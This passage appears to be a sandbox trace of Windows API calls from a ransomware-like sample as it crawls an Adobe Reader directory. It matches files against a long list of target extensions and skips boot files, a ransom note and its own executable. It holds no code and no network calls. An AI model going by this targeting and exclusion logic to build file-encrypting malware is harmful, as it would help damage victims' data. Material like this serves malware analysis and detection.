lstrlenW (lpString=".cs") returned 3 [0276.566] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.566] lstrlenW (lpString=".css") returned 4 [0276.566] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.566] lstrlenW (lpString=".csv") returned 4 [0276.567] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.567] lstrlenW (lpString=".cub") returned 4 [0276.567] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.567] lstrlenW (lpString=".dae") returned 4 [0276.567] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.567] lstrlenW (lpString=".dat") returned 4 [0276.567] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.567] lstrlenW (lpString=".db") returned 3 [0276.567] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.567] lstrlenW (lpString=".dbf") returned 4 [0276.567] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dbx") returned 4 [0276.568] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dc3") returned 4 [0276.568] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dcm") returned 4 [0276.568] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dcr") returned 4 [0276.568] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".der") returned 4 [0276.568] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dib") returned 4 [0276.568] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dic") returned 4 [0276.568] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".dif") returned 4 [0276.568] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.568] lstrlenW (lpString=".divx") returned 5 [0276.568] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.568] lstrlenW (lpString=".djvu") returned 5 [0276.568] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.569] lstrlenW (lpString=".dng") returned 4 [0276.569] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".doc") returned 4 [0276.569] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".docm") returned 5 [0276.569] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.569] lstrlenW (lpString=".docx") returned 5 [0276.569] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.569] lstrlenW (lpString=".dot") returned 4 [0276.569] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".dotm") returned 5 [0276.569] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.569] lstrlenW (lpString=".dotx") returned 5 [0276.569] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.569] lstrlenW (lpString=".dpx") returned 4 [0276.569] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".dqy") returned 4 [0276.569] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".dsn") returned 4 [0276.569] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.569] lstrlenW (lpString=".dt") returned 3 [0276.569] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.570] lstrlenW (lpString=".dtd") returned 4 [0276.570] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".dwg") returned 4 [0276.570] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".dwt") returned 4 [0276.570] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".dx") returned 3 [0276.570] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.570] lstrlenW (lpString=".dxf") returned 4 [0276.570] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".edml") returned 5 [0276.570] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.570] lstrlenW (lpString=".efd") returned 4 [0276.570] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".elf") returned 4 [0276.570] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".emf") returned 4 [0276.570] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".emz") returned 4 [0276.570] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".epf") returned 4 [0276.570] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.570] lstrlenW (lpString=".eps") returned 4 [0276.570] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.571] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.571] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0276.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.571] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0276.571] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root") returned 112 [0276.571] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root") returned 1 [0276.571] lstrlenW (lpString="root") returned 4 [0276.571] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1 [0276.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.572] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root") returned 112 [0276.572] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0276.572] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.572] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.572] lstrlenW (lpString="ui-strings.js") returned 13 [0276.572] lstrlenW (lpString=".1cd") returned 4 [0276.572] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.572] lstrlenW (lpString=".3ds") returned 4 [0276.572] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.572] lstrlenW (lpString=".3fr") returned 4 [0276.572] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.572] lstrlenW (lpString=".3g2") returned 4 [0276.572] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.572] lstrlenW (lpString=".3gp") returned 4 [0276.572] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.572] lstrlenW (lpString=".7z") returned 3 [0276.572] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.573] lstrlenW (lpString=".accda") returned 6 [0276.573] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".accdb") returned 6 [0276.573] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".accdc") returned 6 [0276.573] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".accde") returned 6 [0276.573] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".accdt") returned 6 [0276.573] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".accdw") returned 6 [0276.573] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.573] lstrlenW (lpString=".adb") returned 4 [0276.573] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.573] lstrlenW (lpString=".adp") returned 4 [0276.573] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.573] lstrlenW (lpString=".ai") returned 3 [0276.573] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.574] lstrlenW (lpString=".ai3") returned 4 [0276.574] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".ai4") returned 4 [0276.574] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".ai5") returned 4 [0276.574] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".ai6") returned 4 [0276.574] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".ai7") returned 4 [0276.574] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".ai8") returned 4 [0276.574] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".anim") returned 5 [0276.574] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.574] lstrlenW (lpString=".arw") returned 4 [0276.574] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.574] lstrlenW (lpString=".as") returned 3 [0276.574] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.574] lstrlenW (lpString=".asa") returned 4 [0276.575] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".asc") returned 4 [0276.575] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".ascx") returned 5 [0276.575] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.575] lstrlenW (lpString=".asm") returned 4 [0276.575] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".asmx") returned 5 [0276.575] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.575] lstrlenW (lpString=".asp") returned 4 [0276.575] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".aspx") returned 5 [0276.575] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.575] lstrlenW (lpString=".asr") returned 4 [0276.575] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".asx") returned 4 [0276.575] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".avi") returned 4 [0276.575] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.575] lstrlenW (lpString=".avs") returned 4 [0276.575] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".backup") returned 7 [0276.576] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.576] lstrlenW (lpString=".bak") returned 4 [0276.576] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".bay") returned 4 [0276.576] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".bd") returned 3 [0276.576] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.576] lstrlenW (lpString=".bin") returned 4 [0276.576] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".bmp") returned 4 [0276.576] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".bz2") returned 4 [0276.576] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.576] lstrlenW (lpString=".c") returned 2 [0276.576] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.576] lstrlenW (lpString=".cdr") returned 4 [0276.576] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".cer") returned 4 [0276.577] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".cf") returned 3 [0276.577] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.577] lstrlenW (lpString=".cfc") returned 4 [0276.577] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".cfm") returned 4 [0276.577] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".cfml") returned 5 [0276.577] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.577] lstrlenW (lpString=".cfu") returned 4 [0276.577] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".chm") returned 4 [0276.577] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.577] lstrlenW (lpString=".cin") returned 4 [0276.578] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.578] lstrlenW (lpString=".class") returned 6 [0276.578] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.578] lstrlenW (lpString=".clx") returned 4 [0276.579] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".config") returned 7 [0276.579] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.579] lstrlenW (lpString=".cpp") returned 4 [0276.579] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".cr2") returned 4 [0276.579] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".crt") returned 4 [0276.579] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".crw") returned 4 [0276.579] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".cs") returned 3 [0276.579] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.579] lstrlenW (lpString=".css") returned 4 [0276.579] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".csv") returned 4 [0276.579] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".cub") returned 4 [0276.579] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".dae") returned 4 [0276.579] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.579] lstrlenW (lpString=".dat") returned 4 [0276.580] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".db") returned 3 [0276.580] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.580] lstrlenW (lpString=".dbf") returned 4 [0276.580] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dbx") returned 4 [0276.580] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dc3") returned 4 [0276.580] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dcm") returned 4 [0276.580] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dcr") returned 4 [0276.580] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".der") returned 4 [0276.580] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dib") returned 4 [0276.580] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dic") returned 4 [0276.580] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".dif") returned 4 [0276.580] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.580] lstrlenW (lpString=".divx") returned 5 [0276.580] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.580] lstrlenW (lpString=".djvu") returned 5 [0276.581] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.581] lstrlenW (lpString=".dng") returned 4 [0276.581] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".doc") returned 4 [0276.581] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".docm") returned 5 [0276.581] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.581] lstrlenW (lpString=".docx") returned 5 [0276.581] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.581] lstrlenW (lpString=".dot") returned 4 [0276.581] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".dotm") returned 5 [0276.581] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.581] lstrlenW (lpString=".dotx") returned 5 [0276.581] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.581] lstrlenW (lpString=".dpx") returned 4 [0276.581] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".dqy") returned 4 [0276.581] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".dsn") returned 4 [0276.581] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".dt") returned 3 [0276.581] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.581] lstrlenW (lpString=".dtd") returned 4 [0276.581] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.581] lstrlenW (lpString=".dwg") returned 4 [0276.582] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".dwt") returned 4 [0276.582] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".dx") returned 3 [0276.582] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.582] lstrlenW (lpString=".dxf") returned 4 [0276.582] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".edml") returned 5 [0276.582] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.582] lstrlenW (lpString=".efd") returned 4 [0276.582] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".elf") returned 4 [0276.582] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".emf") returned 4 [0276.582] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".emz") returned 4 [0276.582] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".epf") returned 4 [0276.582] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".eps") returned 4 [0276.582] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.582] lstrlenW (lpString=".epsf") returned 5 [0276.582] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0276.582] lstrlenW (lpString=".epsp") returned 5 [0276.582] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0276.582] lstrlenW (lpString=".erf") returned 4 [0276.583] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".exr") returned 4 [0276.583] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".f4v") returned 4 [0276.583] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".fido") returned 5 [0276.583] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0276.583] lstrlenW (lpString=".flm") returned 4 [0276.583] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".flv") returned 4 [0276.583] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".frm") returned 4 [0276.583] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".fxg") returned 4 [0276.583] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".geo") returned 4 [0276.583] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".gif") returned 4 [0276.583] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".grs") returned 4 [0276.583] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0276.583] lstrlenW (lpString=".gz") returned 3 [0276.583] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.583] lstrlenW (lpString=".h") returned 2 [0276.583] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.584] lstrlenW (lpString=".hdr") returned 4 [0276.584] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".hpp") returned 4 [0276.584] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".hta") returned 4 [0276.584] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".htc") returned 4 [0276.584] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".htm") returned 4 [0276.584] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".html") returned 5 [0276.584] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0276.584] lstrlenW (lpString=".icb") returned 4 [0276.584] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".ics") returned 4 [0276.584] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".iff") returned 4 [0276.584] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".inc") returned 4 [0276.584] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".indd") returned 5 [0276.584] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0276.584] lstrlenW (lpString=".ini") returned 4 [0276.584] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0276.584] lstrlenW (lpString=".iqy") returned 4 [0276.585] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".j2c") returned 4 [0276.585] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".j2k") returned 4 [0276.585] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".java") returned 5 [0276.585] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0276.585] lstrlenW (lpString=".jp2") returned 4 [0276.585] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".jpc") returned 4 [0276.585] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".jpe") returned 4 [0276.585] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".jpeg") returned 5 [0276.585] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0276.585] lstrlenW (lpString=".jpf") returned 4 [0276.585] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".jpg") returned 4 [0276.585] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".jpx") returned 4 [0276.585] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0276.585] lstrlenW (lpString=".js") returned 3 [0276.585] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.586] lstrlenW (lpString="ui-strings.js") returned 13 [0276.586] lstrlenW (lpString=".love$") returned 6 [0276.586] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0276.586] lstrlenW (lpString="ui-strings.js") returned 13 [0276.586] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0276.586] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0276.586] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js") returned 126 [0276.586] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.586] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0276.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.586] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: 